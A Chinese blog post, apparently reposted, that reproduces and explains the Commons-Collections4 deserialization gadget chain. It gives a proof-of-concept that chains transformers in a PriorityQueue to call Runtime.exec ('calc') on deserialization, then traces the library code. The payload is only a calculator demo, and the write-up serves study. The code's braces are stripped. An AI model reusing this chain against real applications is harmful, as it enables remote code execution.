Common-Collection4 gadget

Posted rongyongfeikai2

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Common-Collection4 gadget相关的知识,希望对你有一定的参考价值。

  1. 使用的common-collection4版本

<dependency>
      <groupId>org.apache.commons</groupId>
      <artifactId>commons-collections4</artifactId>
      <version>4.0</version>
</dependency>
  1. 复现代码

package com.fetching.test.commoncollection4;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.util.PriorityQueue;

/**
 * Common-Collection4 gadget 测试
 */
public class CommonCollection4Test 
    public PriorityQueue test() 
        //组装:((Runtime)Runtime.class.getMethod("getRuntime").invoke(null)).exec("calc");
        ChainedTransformer chainedTransformer = new ChainedTransformer(
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]String.class,Class[].class, new Object[]"getRuntime", new Class[0]),
                new InvokerTransformer("invoke", new Class[]Object.class, Object[].class, new Object[]null, new Object[0]),
                new InvokerTransformer("exec", new Class[]String.class, new Object[]"calc")
        );

        TransformingComparator comparator = new TransformingComparator(chainedTransformer);
        PriorityQueue priorityQueue = new PriorityQueue(2, comparator);
        try
            priorityQueue.add(1);
            priorityQueue.add(2);
        catch(Exception ex) 
            ex.printStackTrace();
        
        return priorityQueue;
    

    public static void main(String[] args) throws Exception 
        /*
        CommonCollection4Test commonCollection4Test = new CommonCollection4Test();
        PriorityQueue queue = commonCollection4Test.test();
        try 
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(new File("d:/objtest")));
            oos.writeObject(queue);
            oos.flush();
            oos.close();
         catch (IOException e) 
            e.printStackTrace();
        
         */
        ObjectInputStream ios = new ObjectInputStream(new FileInputStream(new File("d:/objtest")));
        ios.readObject();
    

3.反序列化整体步骤

a.从文件读取到序列化的流之后,会走PriorityQueue的readObject()方法

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException 
        // Read in size, and any hidden stuff
        s.defaultReadObject();

        // Read in (and discard) array length
        s.readInt();

        queue = new Object[size];

        // Read in all elements.
        for (int i = 0; i < size; i++)
            queue[i] = s.readObject();

        // 用于保证队列内的元素,有序的方法
        heapify();

b.heapify()会调用siftDown()方法

private void heapify() 
        for (int i = (size >>> 1) - 1; i >= 0; i--)
            siftDown(i, (E) queue[i]);

c.siftDown()在传入的comparator不为空的情况下,会调用siftDownComparable方法

private void siftDownComparable(int k, E x) 
        Comparable<? super E> key = (Comparable<? super E>)x;
        int half = size >>> 1;        // loop while a non-leaf
        while (k < half) 
            int child = (k << 1) + 1; // assume left child is least
            Object c = queue[child];
            int right = child + 1;
            if (right < size &&
                ((Comparable<? super E>) c).compareTo((E) queue[right]) > 0)
                c = queue[child = right];
            if (key.compareTo((E) c) <= 0)
                break;
            queue[k] = c;
            k = child;
        
        queue[k] = key;

d.可以看到,siftDownComparable方法里,会调用Comparator的compare方法;而TransformingComparator的compare方法,会调用transform方法

public int compare(I obj1, I obj2) 
        O value1 = this.transformer.transform(obj1);
        O value2 = this.transformer.transform(obj2);
        return this.decorated.compare(value1, value2);
 

e.ChainedTransformer的transform方法,会链式调用里面的全部transformer的transform方法。且上一个transform输出的结果,为下一次transform方法执行的参数。

public T transform(T object) 
        Transformer[] arr$ = this.iTransformers;
        int len$ = arr$.length;

        for(int i$ = 0; i$ < len$; ++i$) 
            Transformer<? super T, ? extends T> iTransformer = arr$[i$];
            object = iTransformer.transform(object);
        
        return object;

f.ConstantTransformer和InvokerTransformer

ConstantTransformer的transformer不论传参是什么,都会返回初始化时传入的iConstant

public O transform(I input) 
        return this.iConstant;

InvokerTransformer的transform方法,则会使用反射,调用传入的参数的类指定的iMethodName方法

public O transform(Object input) 
        if (input == null) 
            return null;
         else 
            try 
                Class<?> cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
             catch (NoSuchMethodException var4) 
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
             catch (IllegalAccessException var5) 
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
             catch (InvocationTargetException var6) 
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6);
            
        

因此:

new ConstantTransformer(Runtime.class), //链式transformer的第一轮输出,Runtime.class

new InvokerTransformer("getMethod", new Class[]String.class,Class[].class, new Object[]"getRuntime", new Class[0]), //第二轮transform,调用了Runtime.class的getMethod方法,并且method为getRuntime

new InvokerTransformer("invoke", new Class[]Object.class, Object[].class, new Object[]null, new Object[0]),//第三轮transform,Method被invoke,从而得到Runtime.getRuntime()的结果

new InvokerTransformer("exec", new Class[]String.class, new Object[]"calc") //第四轮transform,Runtime.getRuntime()作为输入,被执行exec方法,且传参为calc,从而弹出计算器

以上是关于Common-Collection4 gadget的主要内容,如果未能解决你的问题,请参考以下文章

Halo2 学习笔记——Gadgets 之 SHA-256

欧姆龙NB系列触摸屏第一次连接无法安装驱动gadget serial v2.4怎么办?系统是64位WIN7。用USB连接线

[NTUSTISC pwn LAB 7]Return to libc实验(puts泄露libc中gadget片段定位)

Linux usb gadget框架概述

SylixOS USB Gadget层介绍

自制python小工具——Gadgets1.1